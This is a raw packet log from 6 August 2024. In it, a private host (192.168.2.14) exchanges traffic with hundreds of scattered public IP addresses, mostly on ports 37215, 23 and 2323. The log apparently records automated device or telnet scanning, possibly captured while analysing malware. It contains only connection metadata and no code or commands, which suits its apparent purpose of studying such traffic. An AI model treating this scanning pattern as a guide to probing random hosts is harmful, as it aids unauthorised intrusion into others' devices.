Aug 6, 2024 08:32:56.826081991 CEST	61142	37215	192.168.2.14	41.95.209.1
Aug 6, 2024 08:32:56.826092958 CEST	37215	61142	41.247.194.104	192.168.2.14
Aug 6, 2024 08:32:56.826102018 CEST	61142	37215	192.168.2.14	156.151.83.159
Aug 6, 2024 08:32:56.826102972 CEST	37215	61142	156.192.158.28	192.168.2.14
Aug 6, 2024 08:32:56.826113939 CEST	37215	61142	197.82.125.210	192.168.2.14
Aug 6, 2024 08:32:56.826116085 CEST	61142	37215	192.168.2.14	156.51.223.83
Aug 6, 2024 08:32:56.826122999 CEST	61142	37215	192.168.2.14	41.247.194.104
Aug 6, 2024 08:32:56.826124907 CEST	37215	61142	156.4.12.75	192.168.2.14
Aug 6, 2024 08:32:56.826137066 CEST	37215	61142	197.19.254.27	192.168.2.14
Aug 6, 2024 08:32:56.826138020 CEST	61142	37215	192.168.2.14	156.192.158.28
Aug 6, 2024 08:32:56.826147079 CEST	37215	61142	41.69.52.220	192.168.2.14
Aug 6, 2024 08:32:56.826157093 CEST	37215	61142	197.197.151.240	192.168.2.14
Aug 6, 2024 08:32:56.826157093 CEST	61142	37215	192.168.2.14	197.82.125.210
Aug 6, 2024 08:32:56.826157093 CEST	61142	37215	192.168.2.14	156.4.12.75
Aug 6, 2024 08:32:56.826168060 CEST	37215	61142	156.40.90.154	192.168.2.14
Aug 6, 2024 08:32:56.826169014 CEST	61142	37215	192.168.2.14	197.19.254.27
Aug 6, 2024 08:32:56.826179028 CEST	37215	61142	156.162.67.105	192.168.2.14
Aug 6, 2024 08:32:56.826179981 CEST	61142	37215	192.168.2.14	41.69.52.220
Aug 6, 2024 08:32:56.826189995 CEST	37215	61142	41.238.249.176	192.168.2.14
Aug 6, 2024 08:32:56.826189995 CEST	61142	37215	192.168.2.14	197.197.151.240
Aug 6, 2024 08:32:56.826200008 CEST	61142	37215	192.168.2.14	156.40.90.154
Aug 6, 2024 08:32:56.826200962 CEST	37215	61142	41.121.101.40	192.168.2.14
Aug 6, 2024 08:32:56.826211929 CEST	37215	61142	41.70.97.195	192.168.2.14
Aug 6, 2024 08:32:56.826217890 CEST	61142	37215	192.168.2.14	156.162.67.105
Aug 6, 2024 08:32:56.826217890 CEST	61142	37215	192.168.2.14	41.238.249.176
Aug 6, 2024 08:32:56.826220989 CEST	37215	61142	41.0.192.83	192.168.2.14
Aug 6, 2024 08:32:56.826229095 CEST	61142	37215	192.168.2.14	41.121.101.40
Aug 6, 2024 08:32:56.826231956 CEST	37215	61142	41.66.143.70	192.168.2.14
Aug 6, 2024 08:32:56.826242924 CEST	37215	61142	197.153.43.64	192.168.2.14
Aug 6, 2024 08:32:56.826245070 CEST	61142	37215	192.168.2.14	41.70.97.195
Aug 6, 2024 08:32:56.826251984 CEST	61142	37215	192.168.2.14	41.0.192.83
Aug 6, 2024 08:32:56.826252937 CEST	37215	61142	41.168.192.10	192.168.2.14
Aug 6, 2024 08:32:56.826265097 CEST	37215	61142	197.149.4.227	192.168.2.14
Aug 6, 2024 08:32:56.826266050 CEST	61142	37215	192.168.2.14	41.66.143.70
Aug 6, 2024 08:32:56.826276064 CEST	37215	61142	41.241.36.155	192.168.2.14
Aug 6, 2024 08:32:56.826276064 CEST	61142	37215	192.168.2.14	197.153.43.64
Aug 6, 2024 08:32:56.826283932 CEST	61142	37215	192.168.2.14	41.168.192.10
Aug 6, 2024 08:32:56.826284885 CEST	37215	61142	41.42.151.207	192.168.2.14
Aug 6, 2024 08:32:56.826302052 CEST	61142	37215	192.168.2.14	197.149.4.227
Aug 6, 2024 08:32:56.826317072 CEST	61142	37215	192.168.2.14	41.42.151.207
Aug 6, 2024 08:32:56.826323986 CEST	61142	37215	192.168.2.14	41.241.36.155
Aug 6, 2024 08:32:56.826335907 CEST	37215	61142	156.176.177.109	192.168.2.14
Aug 6, 2024 08:32:56.826345921 CEST	37215	61142	156.3.90.222	192.168.2.14
Aug 6, 2024 08:32:56.826358080 CEST	37215	61142	197.195.89.28	192.168.2.14
Aug 6, 2024 08:32:56.826368093 CEST	37215	61142	156.76.205.102	192.168.2.14
Aug 6, 2024 08:32:56.826374054 CEST	61142	37215	192.168.2.14	156.176.177.109
Aug 6, 2024 08:32:56.826374054 CEST	61142	37215	192.168.2.14	156.3.90.222
Aug 6, 2024 08:32:56.826379061 CEST	37215	61142	41.2.20.206	192.168.2.14
Aug 6, 2024 08:32:56.826386929 CEST	61142	37215	192.168.2.14	197.195.89.28
Aug 6, 2024 08:32:56.826390028 CEST	37215	61142	197.101.137.176	192.168.2.14
Aug 6, 2024 08:32:56.826394081 CEST	61142	37215	192.168.2.14	156.76.205.102
Aug 6, 2024 08:32:56.826400042 CEST	37215	61142	156.124.8.201	192.168.2.14
Aug 6, 2024 08:32:56.826411009 CEST	37215	61142	197.182.118.195	192.168.2.14
Aug 6, 2024 08:32:56.826416969 CEST	61142	37215	192.168.2.14	197.101.137.176
Aug 6, 2024 08:32:56.826420069 CEST	61142	37215	192.168.2.14	41.2.20.206
Aug 6, 2024 08:32:56.826421976 CEST	37215	61142	197.142.54.248	192.168.2.14
Aug 6, 2024 08:32:56.826443911 CEST	61142	37215	192.168.2.14	156.124.8.201
Aug 6, 2024 08:32:56.826443911 CEST	61142	37215	192.168.2.14	197.182.118.195
Aug 6, 2024 08:32:56.826446056 CEST	37215	61142	197.142.210.229	192.168.2.14
Aug 6, 2024 08:32:56.826457024 CEST	37215	61142	41.90.79.130	192.168.2.14
Aug 6, 2024 08:32:56.826462984 CEST	61142	37215	192.168.2.14	197.142.54.248
Aug 6, 2024 08:32:56.826468945 CEST	37215	61142	197.146.7.123	192.168.2.14
Aug 6, 2024 08:32:56.826479912 CEST	37215	61142	41.78.216.164	192.168.2.14
Aug 6, 2024 08:32:56.826488018 CEST	61142	37215	192.168.2.14	197.142.210.229
Aug 6, 2024 08:32:56.826491117 CEST	37215	61142	156.46.135.73	192.168.2.14
Aug 6, 2024 08:32:56.826497078 CEST	61142	37215	192.168.2.14	41.90.79.130
Aug 6, 2024 08:32:56.826497078 CEST	61142	37215	192.168.2.14	197.146.7.123
Aug 6, 2024 08:32:56.826502085 CEST	37215	61142	156.159.38.104	192.168.2.14
Aug 6, 2024 08:32:56.826508045 CEST	61142	37215	192.168.2.14	41.78.216.164
Aug 6, 2024 08:32:56.826513052 CEST	37215	61142	156.51.12.235	192.168.2.14
Aug 6, 2024 08:32:56.826524973 CEST	37215	61142	156.221.120.236	192.168.2.14
Aug 6, 2024 08:32:56.826529980 CEST	61142	37215	192.168.2.14	156.46.135.73
Aug 6, 2024 08:32:56.826534986 CEST	37215	61142	41.122.173.119	192.168.2.14
Aug 6, 2024 08:32:56.826540947 CEST	61142	37215	192.168.2.14	156.159.38.104
Aug 6, 2024 08:32:56.826545954 CEST	37215	61142	41.105.23.197	192.168.2.14
Aug 6, 2024 08:32:56.826555014 CEST	61142	37215	192.168.2.14	156.221.120.236
Aug 6, 2024 08:32:56.826555967 CEST	61142	37215	192.168.2.14	156.51.12.235
Aug 6, 2024 08:32:56.826556921 CEST	37215	61142	156.60.8.216	192.168.2.14
Aug 6, 2024 08:32:56.826562881 CEST	61142	37215	192.168.2.14	41.122.173.119
Aug 6, 2024 08:32:56.826567888 CEST	37215	61142	197.252.15.148	192.168.2.14
Aug 6, 2024 08:32:56.826579094 CEST	37215	61142	156.88.213.53	192.168.2.14
Aug 6, 2024 08:32:56.826580048 CEST	61142	37215	192.168.2.14	41.105.23.197
Aug 6, 2024 08:32:56.826585054 CEST	61142	37215	192.168.2.14	156.60.8.216
Aug 6, 2024 08:32:56.826590061 CEST	37215	61142	41.143.141.35	192.168.2.14
Aug 6, 2024 08:32:56.826601028 CEST	37215	61142	41.87.103.155	192.168.2.14
Aug 6, 2024 08:32:56.826601982 CEST	61142	37215	192.168.2.14	197.252.15.148
Aug 6, 2024 08:32:56.826601982 CEST	61142	37215	192.168.2.14	156.88.213.53
Aug 6, 2024 08:32:56.826611042 CEST	37215	61142	156.226.205.7	192.168.2.14
Aug 6, 2024 08:32:56.826620102 CEST	37215	61142	156.115.126.230	192.168.2.14
Aug 6, 2024 08:32:56.826630116 CEST	37215	61142	197.177.244.97	192.168.2.14
Aug 6, 2024 08:32:56.826631069 CEST	61142	37215	192.168.2.14	41.143.141.35
Aug 6, 2024 08:32:56.826633930 CEST	61142	37215	192.168.2.14	41.87.103.155
Aug 6, 2024 08:32:56.826637030 CEST	61142	37215	192.168.2.14	156.226.205.7
Aug 6, 2024 08:32:56.826642036 CEST	37215	61142	41.164.150.70	192.168.2.14
Aug 6, 2024 08:32:56.826649904 CEST	61142	37215	192.168.2.14	156.115.126.230
Aug 6, 2024 08:32:56.826662064 CEST	61142	37215	192.168.2.14	197.177.244.97
Aug 6, 2024 08:32:56.826673031 CEST	61142	37215	192.168.2.14	41.164.150.70
Aug 6, 2024 08:32:56.826715946 CEST	37215	61142	41.223.136.215	192.168.2.14
Aug 6, 2024 08:32:56.826728106 CEST	37215	61142	156.74.66.67	192.168.2.14
Aug 6, 2024 08:32:56.826738119 CEST	37215	61142	41.118.193.24	192.168.2.14
Aug 6, 2024 08:32:56.826749086 CEST	37215	61142	41.120.82.177	192.168.2.14
Aug 6, 2024 08:32:56.826749086 CEST	61142	37215	192.168.2.14	41.223.136.215
Aug 6, 2024 08:32:56.826754093 CEST	61142	37215	192.168.2.14	156.74.66.67
Aug 6, 2024 08:32:56.826759100 CEST	37215	61142	197.134.61.193	192.168.2.14
Aug 6, 2024 08:32:56.826770067 CEST	61142	37215	192.168.2.14	41.118.193.24
Aug 6, 2024 08:32:56.826771021 CEST	37215	61142	41.249.126.153	192.168.2.14
Aug 6, 2024 08:32:56.826776981 CEST	61142	37215	192.168.2.14	41.120.82.177
Aug 6, 2024 08:32:56.826781988 CEST	37215	61142	41.174.252.101	192.168.2.14
Aug 6, 2024 08:32:56.826788902 CEST	61142	37215	192.168.2.14	197.134.61.193
Aug 6, 2024 08:32:56.826792002 CEST	37215	61142	156.243.14.181	192.168.2.14
Aug 6, 2024 08:32:56.826802015 CEST	61142	37215	192.168.2.14	41.249.126.153
Aug 6, 2024 08:32:56.826803923 CEST	37215	61142	41.4.55.34	192.168.2.14
Aug 6, 2024 08:32:56.826808929 CEST	61142	37215	192.168.2.14	41.174.252.101
Aug 6, 2024 08:32:56.826814890 CEST	37215	61142	197.74.116.155	192.168.2.14
Aug 6, 2024 08:32:56.826826096 CEST	37215	61142	197.91.174.126	192.168.2.14
Aug 6, 2024 08:32:56.826826096 CEST	61142	37215	192.168.2.14	156.243.14.181
Aug 6, 2024 08:32:56.826832056 CEST	61142	37215	192.168.2.14	41.4.55.34
Aug 6, 2024 08:32:56.826837063 CEST	37215	61142	156.66.252.167	192.168.2.14
Aug 6, 2024 08:32:56.826843023 CEST	61142	37215	192.168.2.14	197.74.116.155
Aug 6, 2024 08:32:56.826848030 CEST	37215	61142	197.145.36.22	192.168.2.14
Aug 6, 2024 08:32:56.826853991 CEST	61142	37215	192.168.2.14	197.91.174.126
Aug 6, 2024 08:32:56.826858044 CEST	37215	61142	41.68.2.125	192.168.2.14
Aug 6, 2024 08:32:56.826869965 CEST	37215	61142	197.35.34.98	192.168.2.14
Aug 6, 2024 08:32:56.826874971 CEST	61142	37215	192.168.2.14	197.145.36.22
Aug 6, 2024 08:32:56.826879978 CEST	37215	61142	197.224.41.182	192.168.2.14
Aug 6, 2024 08:32:56.826879978 CEST	61142	37215	192.168.2.14	156.66.252.167
Aug 6, 2024 08:32:56.826891899 CEST	37215	61142	156.248.110.31	192.168.2.14
Aug 6, 2024 08:32:56.826896906 CEST	61142	37215	192.168.2.14	41.68.2.125
Aug 6, 2024 08:32:56.826901913 CEST	37215	61142	41.127.10.2	192.168.2.14
Aug 6, 2024 08:32:56.826905012 CEST	61142	37215	192.168.2.14	197.224.41.182
Aug 6, 2024 08:32:56.826905012 CEST	61142	37215	192.168.2.14	197.35.34.98
Aug 6, 2024 08:32:56.826911926 CEST	37215	61142	41.183.87.203	192.168.2.14
Aug 6, 2024 08:32:56.826921940 CEST	37215	61142	41.83.242.7	192.168.2.14
Aug 6, 2024 08:32:56.826921940 CEST	61142	37215	192.168.2.14	156.248.110.31
Aug 6, 2024 08:32:56.826931953 CEST	37215	61142	41.201.23.65	192.168.2.14
Aug 6, 2024 08:32:56.826931953 CEST	61142	37215	192.168.2.14	41.127.10.2
Aug 6, 2024 08:32:56.826942921 CEST	37215	61142	41.183.123.90	192.168.2.14
Aug 6, 2024 08:32:56.826946974 CEST	61142	37215	192.168.2.14	41.183.87.203
Aug 6, 2024 08:32:56.826948881 CEST	61142	37215	192.168.2.14	41.83.242.7
Aug 6, 2024 08:32:56.826956987 CEST	37215	61142	156.97.36.205	192.168.2.14
Aug 6, 2024 08:32:56.826962948 CEST	61142	37215	192.168.2.14	41.201.23.65
Aug 6, 2024 08:32:56.826972961 CEST	37215	61142	197.255.166.255	192.168.2.14
Aug 6, 2024 08:32:56.826982021 CEST	61142	37215	192.168.2.14	41.183.123.90
Aug 6, 2024 08:32:56.826983929 CEST	37215	61142	156.80.135.173	192.168.2.14
Aug 6, 2024 08:32:56.826989889 CEST	61142	37215	192.168.2.14	156.97.36.205
Aug 6, 2024 08:32:56.826996088 CEST	37215	61142	197.51.127.105	192.168.2.14
Aug 6, 2024 08:32:56.827006102 CEST	37215	61142	156.79.18.126	192.168.2.14
Aug 6, 2024 08:32:56.827016115 CEST	37215	61142	156.187.197.107	192.168.2.14
Aug 6, 2024 08:32:56.827020884 CEST	61142	37215	192.168.2.14	156.80.135.173
Aug 6, 2024 08:32:56.827022076 CEST	61142	37215	192.168.2.14	197.255.166.255
Aug 6, 2024 08:32:56.827024937 CEST	37215	61142	156.102.195.121	192.168.2.14
Aug 6, 2024 08:32:56.827025890 CEST	61142	37215	192.168.2.14	197.51.127.105
Aug 6, 2024 08:32:56.827034950 CEST	61142	37215	192.168.2.14	156.79.18.126
Aug 6, 2024 08:32:56.827035904 CEST	37215	61142	156.128.209.51	192.168.2.14
Aug 6, 2024 08:32:56.827047110 CEST	37215	61142	156.89.160.247	192.168.2.14
Aug 6, 2024 08:32:56.827050924 CEST	61142	37215	192.168.2.14	156.187.197.107
Aug 6, 2024 08:32:56.827055931 CEST	61142	37215	192.168.2.14	156.102.195.121
Aug 6, 2024 08:32:56.827058077 CEST	37215	61142	156.173.162.183	192.168.2.14
Aug 6, 2024 08:32:56.827065945 CEST	61142	37215	192.168.2.14	156.128.209.51
Aug 6, 2024 08:32:56.827069998 CEST	37215	61142	197.18.58.30	192.168.2.14
Aug 6, 2024 08:32:56.827075005 CEST	61142	37215	192.168.2.14	156.89.160.247
Aug 6, 2024 08:32:56.827080965 CEST	37215	61142	41.106.39.20	192.168.2.14
Aug 6, 2024 08:32:56.827090025 CEST	61142	37215	192.168.2.14	156.173.162.183
Aug 6, 2024 08:32:56.827090979 CEST	37215	61142	41.184.233.163	192.168.2.14
Aug 6, 2024 08:32:56.827100039 CEST	61142	37215	192.168.2.14	197.18.58.30
Aug 6, 2024 08:32:56.827102900 CEST	37215	61142	197.147.211.213	192.168.2.14
Aug 6, 2024 08:32:56.827111006 CEST	61142	37215	192.168.2.14	41.106.39.20
Aug 6, 2024 08:32:56.827115059 CEST	37215	61142	156.205.187.249	192.168.2.14
Aug 6, 2024 08:32:56.827116966 CEST	61142	37215	192.168.2.14	41.184.233.163
Aug 6, 2024 08:32:56.827126980 CEST	61142	37215	192.168.2.14	197.147.211.213
Aug 6, 2024 08:32:56.827128887 CEST	37215	61142	156.69.93.25	192.168.2.14
Aug 6, 2024 08:32:56.827142000 CEST	37215	61142	156.149.210.34	192.168.2.14
Aug 6, 2024 08:32:56.827145100 CEST	61142	37215	192.168.2.14	156.205.187.249
Aug 6, 2024 08:32:56.827152014 CEST	37215	61142	41.237.46.255	192.168.2.14
Aug 6, 2024 08:32:56.827158928 CEST	61142	37215	192.168.2.14	156.69.93.25
Aug 6, 2024 08:32:56.827162981 CEST	37215	61142	41.246.143.168	192.168.2.14
Aug 6, 2024 08:32:56.827171087 CEST	61142	37215	192.168.2.14	156.149.210.34
Aug 6, 2024 08:32:56.827172995 CEST	37215	61142	156.229.149.56	192.168.2.14
Aug 6, 2024 08:32:56.827183962 CEST	37215	61142	156.108.9.123	192.168.2.14
Aug 6, 2024 08:32:56.827184916 CEST	61142	37215	192.168.2.14	41.237.46.255
Aug 6, 2024 08:32:56.827192068 CEST	61142	37215	192.168.2.14	41.246.143.168
Aug 6, 2024 08:32:56.827194929 CEST	37215	61142	41.243.164.198	192.168.2.14
Aug 6, 2024 08:32:56.827204943 CEST	37215	61142	156.69.249.104	192.168.2.14
Aug 6, 2024 08:32:56.827214956 CEST	37215	61142	197.122.117.187	192.168.2.14
Aug 6, 2024 08:32:56.827217102 CEST	61142	37215	192.168.2.14	156.229.149.56
Aug 6, 2024 08:32:56.827217102 CEST	61142	37215	192.168.2.14	156.108.9.123
Aug 6, 2024 08:32:56.827224016 CEST	37215	61142	197.31.10.248	192.168.2.14
Aug 6, 2024 08:32:56.827234030 CEST	37215	61142	41.83.135.137	192.168.2.14
Aug 6, 2024 08:32:56.827243090 CEST	2323	61398	175.102.109.232	192.168.2.14
Aug 6, 2024 08:32:56.827245951 CEST	61142	37215	192.168.2.14	41.243.164.198
Aug 6, 2024 08:32:56.827245951 CEST	61142	37215	192.168.2.14	156.69.249.104
Aug 6, 2024 08:32:56.827246904 CEST	61142	37215	192.168.2.14	197.122.117.187
Aug 6, 2024 08:32:56.827246904 CEST	61142	37215	192.168.2.14	197.31.10.248
Aug 6, 2024 08:32:56.827253103 CEST	23	61398	163.8.195.74	192.168.2.14
Aug 6, 2024 08:32:56.827264071 CEST	23	61398	18.190.87.186	192.168.2.14
Aug 6, 2024 08:32:56.827274084 CEST	61398	2323	192.168.2.14	175.102.109.232
Aug 6, 2024 08:32:56.827274084 CEST	23	61398	182.25.95.46	192.168.2.14
Aug 6, 2024 08:32:56.827275991 CEST	61142	37215	192.168.2.14	41.83.135.137
Aug 6, 2024 08:32:56.827286005 CEST	23	61398	53.177.58.103	192.168.2.14
Aug 6, 2024 08:32:56.827289104 CEST	61398	23	192.168.2.14	163.8.195.74
Aug 6, 2024 08:32:56.827289104 CEST	61398	23	192.168.2.14	18.190.87.186
Aug 6, 2024 08:32:56.827296972 CEST	23	61398	62.181.69.145	192.168.2.14
Aug 6, 2024 08:32:56.827306032 CEST	61398	23	192.168.2.14	182.25.95.46
Aug 6, 2024 08:32:56.827306986 CEST	23	61398	24.61.159.102	192.168.2.14
Aug 6, 2024 08:32:56.827316999 CEST	61398	23	192.168.2.14	53.177.58.103
Aug 6, 2024 08:32:56.827316999 CEST	23	61398	134.206.227.101	192.168.2.14
Aug 6, 2024 08:32:56.827322006 CEST	61398	23	192.168.2.14	62.181.69.145
Aug 6, 2024 08:32:56.827322006 CEST	61398	23	192.168.2.14	24.61.159.102
Aug 6, 2024 08:32:56.827338934 CEST	23	61398	190.22.35.227	192.168.2.14
Aug 6, 2024 08:32:56.827349901 CEST	23	61398	107.6.216.218	192.168.2.14
Aug 6, 2024 08:32:56.827352047 CEST	61398	23	192.168.2.14	134.206.227.101
Aug 6, 2024 08:32:56.827359915 CEST	2323	61398	93.110.2.56	192.168.2.14
Aug 6, 2024 08:32:56.827370882 CEST	23	61398	39.63.37.32	192.168.2.14
Aug 6, 2024 08:32:56.827380896 CEST	23	61398	195.104.186.48	192.168.2.14
Aug 6, 2024 08:32:56.827388048 CEST	61398	23	192.168.2.14	107.6.216.218
Aug 6, 2024 08:32:56.827389002 CEST	61398	23	192.168.2.14	190.22.35.227
Aug 6, 2024 08:32:56.827390909 CEST	23	61398	51.187.200.183	192.168.2.14
Aug 6, 2024 08:32:56.827399015 CEST	61398	2323	192.168.2.14	93.110.2.56
Aug 6, 2024 08:32:56.827400923 CEST	23	61398	97.1.97.211	192.168.2.14
Aug 6, 2024 08:32:56.827402115 CEST	61398	23	192.168.2.14	39.63.37.32
Aug 6, 2024 08:32:56.827410936 CEST	61398	23	192.168.2.14	195.104.186.48
Aug 6, 2024 08:32:56.827411890 CEST	23	61398	207.127.108.39	192.168.2.14
Aug 6, 2024 08:32:56.827423096 CEST	23	61398	222.12.178.178	192.168.2.14
Aug 6, 2024 08:32:56.827430010 CEST	61398	23	192.168.2.14	51.187.200.183
Aug 6, 2024 08:32:56.827433109 CEST	61398	23	192.168.2.14	97.1.97.211
Aug 6, 2024 08:32:56.827433109 CEST	23	61398	96.134.202.124	192.168.2.14
Aug 6, 2024 08:32:56.827442884 CEST	23	61398	149.139.123.3	192.168.2.14
Aug 6, 2024 08:32:56.827452898 CEST	61398	23	192.168.2.14	222.12.178.178
Aug 6, 2024 08:32:56.827454090 CEST	23	61398	102.112.94.112	192.168.2.14
Aug 6, 2024 08:32:56.827452898 CEST	61398	23	192.168.2.14	207.127.108.39
Aug 6, 2024 08:32:56.827466011 CEST	23	61398	98.116.189.1	192.168.2.14
Aug 6, 2024 08:32:56.827471018 CEST	61398	23	192.168.2.14	149.139.123.3
Aug 6, 2024 08:32:56.827477932 CEST	23	61398	39.211.146.83	192.168.2.14
Aug 6, 2024 08:32:56.827481985 CEST	61398	23	192.168.2.14	102.112.94.112
Aug 6, 2024 08:32:56.827487946 CEST	23	61398	143.108.210.36	192.168.2.14
Aug 6, 2024 08:32:56.827488899 CEST	61398	23	192.168.2.14	96.134.202.124
Aug 6, 2024 08:32:56.827501059 CEST	23	61398	60.43.101.206	192.168.2.14
Aug 6, 2024 08:32:56.827502012 CEST	61398	23	192.168.2.14	39.211.146.83
Aug 6, 2024 08:32:56.827503920 CEST	61398	23	192.168.2.14	98.116.189.1
Aug 6, 2024 08:32:56.827511072 CEST	23	61398	78.123.45.99	192.168.2.14
Aug 6, 2024 08:32:56.827522039 CEST	2323	61398	223.90.99.200	192.168.2.14
Aug 6, 2024 08:32:56.827523947 CEST	61398	23	192.168.2.14	143.108.210.36
Aug 6, 2024 08:32:56.827532053 CEST	23	61398	107.155.92.209	192.168.2.14
Aug 6, 2024 08:32:56.827537060 CEST	61398	23	192.168.2.14	60.43.101.206
Aug 6, 2024 08:32:56.827543020 CEST	23	61398	186.232.45.179	192.168.2.14
Aug 6, 2024 08:32:56.827543020 CEST	61398	23	192.168.2.14	78.123.45.99
Aug 6, 2024 08:32:56.827553034 CEST	2323	61398	146.201.98.45	192.168.2.14
Aug 6, 2024 08:32:56.827563047 CEST	61398	23	192.168.2.14	107.155.92.209
Aug 6, 2024 08:32:56.827563047 CEST	23	61398	83.16.253.171	192.168.2.14
Aug 6, 2024 08:32:56.827564955 CEST	61398	2323	192.168.2.14	223.90.99.200
Aug 6, 2024 08:32:56.827569008 CEST	61398	23	192.168.2.14	186.232.45.179
Aug 6, 2024 08:32:56.827577114 CEST	23	61398	93.148.249.105	192.168.2.14
Aug 6, 2024 08:32:56.827590942 CEST	61398	2323	192.168.2.14	146.201.98.45
Aug 6, 2024 08:32:56.827591896 CEST	23	61398	65.197.66.190	192.168.2.14
Aug 6, 2024 08:32:56.827596903 CEST	61398	23	192.168.2.14	83.16.253.171
Aug 6, 2024 08:32:56.827605009 CEST	23	61398	223.55.228.217	192.168.2.14
Aug 6, 2024 08:32:56.827609062 CEST	61398	23	192.168.2.14	93.148.249.105
Aug 6, 2024 08:32:56.827615023 CEST	23	61398	134.182.210.253	192.168.2.14
Aug 6, 2024 08:32:56.827625990 CEST	23	61398	154.126.200.130	192.168.2.14
Aug 6, 2024 08:32:56.827625990 CEST	61398	23	192.168.2.14	65.197.66.190
Aug 6, 2024 08:32:56.827636957 CEST	23	61398	43.113.35.201	192.168.2.14
Aug 6, 2024 08:32:56.827640057 CEST	61398	23	192.168.2.14	134.182.210.253
Aug 6, 2024 08:32:56.827647924 CEST	61398	23	192.168.2.14	223.55.228.217
Aug 6, 2024 08:32:56.827647924 CEST	23	61398	143.253.6.43	192.168.2.14
Aug 6, 2024 08:32:56.827656984 CEST	61398	23	192.168.2.14	154.126.200.130
Aug 6, 2024 08:32:56.827660084 CEST	23	61398	162.197.116.208	192.168.2.14
Aug 6, 2024 08:32:56.827670097 CEST	61398	23	192.168.2.14	43.113.35.201
Aug 6, 2024 08:32:56.827687979 CEST	61398	23	192.168.2.14	143.253.6.43
Aug 6, 2024 08:32:56.827691078 CEST	61398	23	192.168.2.14	162.197.116.208
Aug 6, 2024 08:32:56.827749968 CEST	23	61398	140.63.191.127	192.168.2.14
Aug 6, 2024 08:32:56.827761889 CEST	23	61398	106.52.251.215	192.168.2.14
Aug 6, 2024 08:32:56.827771902 CEST	23	61398	92.200.79.246	192.168.2.14
Aug 6, 2024 08:32:56.827781916 CEST	23	61398	189.202.3.118	192.168.2.14
Aug 6, 2024 08:32:56.827783108 CEST	61398	23	192.168.2.14	140.63.191.127
Aug 6, 2024 08:32:56.827789068 CEST	61398	23	192.168.2.14	106.52.251.215
Aug 6, 2024 08:32:56.827794075 CEST	23	61398	24.184.97.115	192.168.2.14
Aug 6, 2024 08:32:56.827804089 CEST	23	61398	111.132.187.109	192.168.2.14
Aug 6, 2024 08:32:56.827806950 CEST	61398	23	192.168.2.14	92.200.79.246
Aug 6, 2024 08:32:56.827811956 CEST	61398	23	192.168.2.14	189.202.3.118
Aug 6, 2024 08:32:56.827814102 CEST	23	61398	193.226.19.120	192.168.2.14
Aug 6, 2024 08:32:56.827822924 CEST	61398	23	192.168.2.14	24.184.97.115
Aug 6, 2024 08:32:56.827825069 CEST	23	61398	130.152.213.232	192.168.2.14
Aug 6, 2024 08:32:56.827835083 CEST	2323	61398	72.71.181.47	192.168.2.14
Aug 6, 2024 08:32:56.827837944 CEST	61398	23	192.168.2.14	111.132.187.109
Aug 6, 2024 08:32:56.827845097 CEST	23	61398	108.56.161.87	192.168.2.14
Aug 6, 2024 08:32:56.827855110 CEST	61398	23	192.168.2.14	130.152.213.232
Aug 6, 2024 08:32:56.827856064 CEST	23	61398	218.20.120.157	192.168.2.14
Aug 6, 2024 08:32:56.827857971 CEST	61398	23	192.168.2.14	193.226.19.120
Aug 6, 2024 08:32:56.827867031 CEST	2323	61398	47.204.232.6	192.168.2.14
Aug 6, 2024 08:32:56.827867985 CEST	61398	2323	192.168.2.14	72.71.181.47
Aug 6, 2024 08:32:56.827876091 CEST	61398	23	192.168.2.14	108.56.161.87
Aug 6, 2024 08:32:56.827878952 CEST	23	61398	131.29.219.222	192.168.2.14
Aug 6, 2024 08:32:56.827884912 CEST	61398	23	192.168.2.14	218.20.120.157
Aug 6, 2024 08:32:56.827888012 CEST	23	61398	115.197.8.175	192.168.2.14
Aug 6, 2024 08:32:56.827899933 CEST	23	61398	129.23.89.198	192.168.2.14
Aug 6, 2024 08:32:56.827907085 CEST	61398	23	192.168.2.14	131.29.219.222
Aug 6, 2024 08:32:56.827908993 CEST	23	61398	179.165.79.149	192.168.2.14
Aug 6, 2024 08:32:56.827908039 CEST	61398	2323	192.168.2.14	47.204.232.6
Aug 6, 2024 08:32:56.827914000 CEST	23	61398	75.104.189.221	192.168.2.14
Aug 6, 2024 08:32:56.827919006 CEST	61398	23	192.168.2.14	115.197.8.175
Aug 6, 2024 08:32:56.827927113 CEST	23	61398	131.26.22.71	192.168.2.14
Aug 6, 2024 08:32:56.827936888 CEST	23	61398	218.22.213.194	192.168.2.14
Aug 6, 2024 08:32:56.827938080 CEST	61398	23	192.168.2.14	179.165.79.149
Aug 6, 2024 08:32:56.827939987 CEST	61398	23	192.168.2.14	129.23.89.198
Aug 6, 2024 08:32:56.827948093 CEST	23	61398	116.164.88.202	192.168.2.14
Aug 6, 2024 08:32:56.827958107 CEST	23	61398	129.155.16.163	192.168.2.14
Aug 6, 2024 08:32:56.827960968 CEST	61398	23	192.168.2.14	75.104.189.221
Aug 6, 2024 08:32:56.827960968 CEST	61398	23	192.168.2.14	131.26.22.71
Aug 6, 2024 08:32:56.827965975 CEST	61398	23	192.168.2.14	218.22.213.194
Aug 6, 2024 08:32:56.827967882 CEST	23	61398	13.179.213.61	192.168.2.14
Aug 6, 2024 08:32:56.827986956 CEST	2323	61398	96.68.44.183	192.168.2.14
Aug 6, 2024 08:32:56.827989101 CEST	61398	23	192.168.2.14	116.164.88.202
Aug 6, 2024 08:32:56.827996969 CEST	61398	23	192.168.2.14	129.155.16.163
Aug 6, 2024 08:32:56.828007936 CEST	61398	23	192.168.2.14	13.179.213.61
Aug 6, 2024 08:32:56.828012943 CEST	23	61398	109.193.138.144	192.168.2.14
Aug 6, 2024 08:32:56.828021049 CEST	61398	2323	192.168.2.14	96.68.44.183
Aug 6, 2024 08:32:56.828023911 CEST	23	61398	170.74.186.236	192.168.2.14
Aug 6, 2024 08:32:56.828035116 CEST	23	61398	110.67.6.64	192.168.2.14
Aug 6, 2024 08:32:56.828046083 CEST	23	61398	71.242.187.71	192.168.2.14
Aug 6, 2024 08:32:56.828052044 CEST	61398	23	192.168.2.14	109.193.138.144
Aug 6, 2024 08:32:56.828052998 CEST	61398	23	192.168.2.14	170.74.186.236
Aug 6, 2024 08:32:56.828056097 CEST	23	61398	74.29.44.163	192.168.2.14
Aug 6, 2024 08:32:56.828063965 CEST	61398	23	192.168.2.14	110.67.6.64
Aug 6, 2024 08:32:56.828067064 CEST	23	61398	83.39.55.165	192.168.2.14
Aug 6, 2024 08:32:56.828074932 CEST	61398	23	192.168.2.14	71.242.187.71
Aug 6, 2024 08:32:56.828077078 CEST	23	61398	177.60.195.184	192.168.2.14
Aug 6, 2024 08:32:56.828087091 CEST	61398	23	192.168.2.14	74.29.44.163
Aug 6, 2024 08:32:56.828088045 CEST	23	61398	130.99.133.214	192.168.2.14
